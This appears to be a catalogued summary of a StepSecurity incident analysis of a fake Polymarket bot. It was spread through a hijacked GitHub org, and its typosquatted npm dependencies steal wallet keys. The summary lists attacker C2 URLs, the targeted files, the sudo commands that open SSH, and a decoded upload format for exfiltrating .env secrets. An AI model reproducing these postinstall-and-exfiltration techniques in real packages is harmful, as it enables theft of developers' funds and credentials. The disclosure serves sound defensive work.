# Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys

Hijacked dev-protocol GitHub org distributes a fake Polymarket bot whose typosquatted npm deps steal wallet keys and open an SSH backdoor.

- Payout: Real-world hack
- Severity: critical
- Program: dev-protocol
- Analysis by: StepSecurity
- Disclosed: 2026-03-26
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/malicious-polymarket-bot-hides-in-hijacked-dev-protocol-github-org-and-steals-wallet-keys
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-malicious-polymarket-bot-hides-in-hijacked-dev-protocol-github-org-and-steals-wallet-keys
- Tags: area:oss domain:oss impact:ato impact:funds-loss kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:nodejs technique:source-review vuln:dependency-confusion vuln:misconfiguration vuln:secrets-leak

**Target:** npm packages / GitHub repo trading bot
**Root cause:** Typosquatted npm packages (ts-bign, big-nunber) pull in obfuscated transitive deps (levex-refa, lint-builder) that exfiltrate .env/wallet files to Vercel C2 and run sudo commands via postinstall to open SSH.
**Steps:**
1. Clone `dev-protocol/polymarket-copytrading-bot-sport` and create `.env` with wallet key
2. Run `npm install` — lint-builder postinstall runs `node test.js`
3. test.js GETs `cloudflareinsights.vercel.app/api/scan-patterns` and `/api/block-patterns`
4. POSTs stolen files to `cloudflareinsights.vercel.app/api/v1`, fingerprints IP via `api.ipify.org/?format=json`
5. Runs `sudo chown -R runner:runner /home/runner/.ssh`, `sudo ufw enable`, `sudo ufw allow 22/tcp`
6. Start bot: `from_str()` imports from ts-bign/big-nunber trigger levex-refa, POSTing `.env` to `cloudflareguard.vercel.app/api/v1`
**How found:** Monitoring supply chain threats against crypto developers; flagged compromised org, inflated stars from bot accounts, and two misspelled npm deps in package.json; deobfuscated and ran in Harden-Runner sandbox.
**Exploitation:** Victim follows README, npm install auto-executes postinstall backdoor (SSH port opened, IP fingerprinted), then bot startup exfiltrates .env wallet keys to attacker Vercel C2 while bot connects to real Polymarket APIs to appear functional.
**Escalation:** Hijacked verified org with 568 followers plus bot-farmed stars/forks lends credibility; 20+ repo variants scale distribution; warning issues deleted to suppress discovery.
**Insight:** Typosquats can hide as transitive deps of a plausible wrapper package and be imported in source (not just package.json) so malware fires both at install and runtime; check postinstall hooks and outbound egress during npm install.

## Proof of concept (copied exactly from the original report)

**Source imports triggering file stealer**

```
// src/constant/index.ts (line 1)
import { from_str } from "ts-bign";

// src/trading/exit.ts (line 3)
import { from_str } from "big-nunber";
```

**Decoded levex-refa C2 upload format**

```
// Decoded levex-refa behavior
C2 URL: https://cloudflareguard.vercel.app/api/v1

Files targeted: .env, *.env, id.json, config.toml, Config.toml

Upload format:
  POST /api/v1
  Content-Type: application/octet-stream
  Content-Disposition: attachment; filename=".env"
  Body: runner@10.0.2.15\nWALLET_PRIVATE_KEY=0xdeadbeef...
```